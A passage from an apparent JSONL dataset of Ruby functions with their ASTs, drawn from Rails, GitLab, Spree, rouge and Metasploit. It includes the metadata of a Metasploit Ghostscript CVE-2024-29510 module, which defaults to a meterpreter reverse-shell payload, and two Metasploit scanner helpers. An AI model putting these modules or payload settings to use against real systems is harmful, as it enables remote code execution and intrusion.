'https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/']\n        ],\n        'DisclosureDate' => '2024-03-14',\n        'License' => MSF_LICENSE,\n        'Platform' => ['unix', 'linux', 'win'],\n        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Linux Command',\n            {\n              'Arch' => ARCH_CMD,\n              'Platform' => [ 'unix', 'linux' ],\n              'DefaultOptions' => {\n                # Payload is not set automatically when selecting this target.\n                # Select a x64 fetch payload by default.\n                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps']),\n      OptInt.new('INDEX_OUT_PTR', [true, 'Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)', 5])\n    ])\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ghostscript Command Execution via Format String\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a format string vulnerability in Ghostscript\\n\"]},{\"type\":\"str\",\"children\":[\"          versions before 10.03.1 to achieve a SAFER sandbox bypass and execute\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary commands. This vulnerability is reachable via libraries such as\\n\"]},{\"type\":\"str\",\"children\":[\"          ImageMagick.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit only works against Ghostscript versions 10.03.0 and\\n\"]},{\"type\":\"str\",\"children\":[\"          10.01.2. Some offsets adjustement will probably be needed to make it\\n\"]},{\"type\":\"str\",\"children\":[\"          work with other versions.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Thomas Rinsma\"]},{\"type\":\"str\",\"children\":[\"Christophe De La fuente\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-29510\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://bugs.ghostscript.com/show_bug.cgi?id=707662\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-03-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/linux/http/x64/meterpreter_reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Output Encapsulated PostScript (EPS) file\"]},{\"type\":\"str\",\"children\":[\"msf.eps\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"INDEX_OUT_PTR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}]}","id":"79530284-babb-4ae3-af2b-1f7e8df3e742"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1201,"raw_source":"def test_dockerfile_bootsnap_precompile_is_single_threaded\n    skip \"bootsnap not included on JRuby\" if defined?(JRUBY_VERSION)\n    run_generator [destination_root, \"--no-skip-bootsnap\"]\n    assert_gem \"bootsnap\"\n    assert_file \"Dockerfile\" do |content|\n      assert_match(/bootsnap precompile -j 1 --gemfile/, content)\n      assert_match(/bootsnap precompile -j 1 app\\/ lib\\//, content)\n    end\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dockerfile_bootsnap_precompile_is_single_threaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JRUBY_VERSION\"]}]},{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"bootsnap not included on JRuby\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--no-skip-bootsnap\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_gem\",{\"type\":\"str\",\"children\":[\"bootsnap\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Dockerfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"bootsnap precompile -j 1 --gemfile\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"bootsnap precompile -j 1 app/ lib/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"3cba7e7b-994d-4840-af38-3d18b0003ac0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/expression/lexer.rb","start_line":43,"raw_source":"def lexemes\n            tokens.map(&:to_lexeme)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"lexemes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tokens\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_lexeme\"]}]}]}]}","id":"82944c31-2b8f-4fe7-85e3-4c3c28cf0842"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/timelogs/timelogs_finder.rb","start_line":12,"raw_source":"def execute\n      timelogs = parent&.timelogs || Timelog.all\n      timelogs = by_time(timelogs)\n      timelogs = by_user(timelogs)\n      timelogs = by_group(timelogs)\n      timelogs = by_project(timelogs)\n      timelogs = by_summary(timelogs)\n      apply_sorting(timelogs)\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timelogs\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"timelogs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timelog\"]},\"all\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timelogs\",{\"type\":\"send\",\"children\":[null,\"by_time\",{\"type\":\"lvar\",\"children\":[\"timelogs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timelogs\",{\"type\":\"send\",\"children\":[null,\"by_user\",{\"type\":\"lvar\",\"children\":[\"timelogs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timelogs\",{\"type\":\"send\",\"children\":[null,\"by_group\",{\"type\":\"lvar\",\"children\":[\"timelogs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timelogs\",{\"type\":\"send\",\"children\":[null,\"by_project\",{\"type\":\"lvar\",\"children\":[\"timelogs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timelogs\",{\"type\":\"send\",\"children\":[null,\"by_summary\",{\"type\":\"lvar\",\"children\":[\"timelogs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"apply_sorting\",{\"type\":\"lvar\",\"children\":[\"timelogs\"]}]}]}]}","id":"9c40250f-ae31-4aea-984a-3f7e1c0c8154"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/flows/metric_definer.rb","start_line":376,"raw_source":"def collect_values_for_shared_event_properties\n        fields = Hash.new { |h, k| h[k] = [] }\n\n        selected_events.each do |event|\n          fields[:introduced_by_url] << event.introduced_by_url\n          fields[:product_group] << event.product_group\n          fields[:stage] << find_stage(event.product_group)\n          fields[:section] << find_section(event.product_group)\n          fields[:product_categories] << event.product_categories\n          fields[:tiers] << event.tiers&.sort\n        end\n\n        defaults = {}\n\n        # Use event value as default if it's the same for all\n        # selected events because it's unlikely to be different\n        fields.each do |field, values|\n          next unless values.compact.uniq.length == 1\n\n          defaults[field] ||= values.first\n        end\n\n        # If an event is relevant to a category, then the metric\n        # will be too, so we'll collect all categories\n        defaults[:product_categories] = KNOWN_CATEGORIES & fields[:product_categories].flatten\n        defaults.delete(:product_categories) if defaults[:product_categories].empty?\n\n        defaults\n      end","complexity_score":56.85,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_values_for_shared_event_properties\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"selected_events\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"introduced_by_url\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"introduced_by_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"product_group\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"product_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stage\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"find_stage\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"product_group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"find_section\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"product_group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"product_categories\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"product_categories\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tiers\"]}]},\"<<\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"tiers\"]},\"sort\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"defaults\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"compact\"]},\"uniq\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"product_categories\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KNOWN_CATEGORIES\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"product_categories\"]}]},\"flatten\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"product_categories\"]}]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"product_categories\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"defaults\"]}]}]}","id":"6c129288-d304-41e1-87bc-0d122f206bb6"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":378,"raw_source":"def push(state_name=nil, &b)\n      push_state = if state_name\n        get_state(state_name)\n      elsif block_given?\n        StateDSL.new(b.inspect, &b).to_state(self.class)\n      else\n        # use the top of the stack by default\n        self.state\n      end\n\n      puts \"    pushing #{push_state.name}\" if @debug\n      stack.push(push_state)\n    end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"push\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"state_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"push_state\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state_name\"]},{\"type\":\"send\",\"children\":[null,\"get_state\",{\"type\":\"lvar\",\"children\":[\"state_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StateDSL\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"inspect\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},\"to_state\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"state\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@debug\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    pushing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push_state\"]},\"name\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stack\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"push_state\"]}]}]}]}","id":"a66d19d2-9638-4607-8e79-393687c3c484"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/taxons_helper.rb","start_line":4,"raw_source":"def taxons_scope(with_automatic: false)\n        @memoized_taxons_scope ||= {}\n        @memoized_taxons_scope[with_automatic] ||= begin\n          scope = current_store.taxons.where.not(parent_id: nil)\n          scope = scope.where(automatic: false) unless with_automatic\n          scope\n        end\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"taxons_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"with_automatic\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@memoized_taxons_scope\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memoized_taxons_scope\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"with_automatic\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"taxons\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_automatic\"]},null,{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"automatic\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}]}","id":"8a906a33-f497-41a5-bcad-ec813e0febe3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb","start_line":65,"raw_source":"def run_host(ip)\n    status = check_host(ip)\n    case status\n    when Exploit::CheckCode::Appears\n    when Exploit::CheckCode::Detected\n    when Exploit::CheckCode::Vulnerable\n      print_good(\"#{peer} #{status.last}\")\n    else\n      vprint_status(\"#{peer} #{status.last}\")\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"check_host\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]},null]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]},null]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"last\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"last\"]}]}]}]}]}]}]}","id":"012f13b8-4e05-49fa-a7ed-af6b53d85d84"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migrator_test.rb","start_line":213,"raw_source":"def test_migrations_status_with_schema_define_in_subdirectories\n    path = MIGRATIONS_ROOT + \"/valid_with_subdirectories\"\n    prev_paths = ActiveRecord::Migrator.migrations_paths\n    ActiveRecord::Migrator.migrations_paths = path\n\n    ActiveRecord::Schema.define(version: 3) do\n    end\n\n    assert_equal [\n      [\"up\", \"001\", \"Valid people have last names\"],\n      [\"up\", \"002\", \"We need reminders\"],\n      [\"up\", \"003\", \"Innocent jointable\"],\n    ], ActiveRecord::MigrationContext.new(path, @schema_migration, @internal_metadata).migrations_status\n  ensure\n    ActiveRecord::Migrator.migrations_paths = prev_paths\n  end","complexity_score":12.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrations_status_with_schema_define_in_subdirectories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/valid_with_subdirectories\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prev_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"migrations_paths\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"migrations_paths=\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Schema\"]},\"define\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"args\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"up\"]},{\"type\":\"str\",\"children\":[\"001\"]},{\"type\":\"str\",\"children\":[\"Valid people have last names\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"up\"]},{\"type\":\"str\",\"children\":[\"002\"]},{\"type\":\"str\",\"children\":[\"We need reminders\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"up\"]},{\"type\":\"str\",\"children\":[\"003\"]},{\"type\":\"str\",\"children\":[\"Innocent jointable\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"MigrationContext\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrations_status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"migrations_paths=\",{\"type\":\"lvar\",\"children\":[\"prev_paths\"]}]}]}]}","id":"2939f33b-f71b-405f-97a8-3b9bfedb28a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/portmap/portmap_amp.rb","start_line":147,"raw_source":"def report_result(host, attack, map)\n    report_service(\n      host: host,\n      proto: 'udp',\n      port: rport,\n      name: 'portmap'\n    )\n\n    peer = \"#{host}:#{rport}\"\n    vulnerable, proof = prove_amplification(map)\n    if vulnerable\n      print_good(\"#{peer} - Vulnerable to #{attack}: #{proof}\")\n      report_vuln(\n        host: host,\n        port: rport,\n        proto: 'udp',\n        name: attack,\n        refs: references\n      )\n    else\n      vprint_status(\"#{peer} - Not vulnerable to #{attack}: #{proof}\")\n    end\n  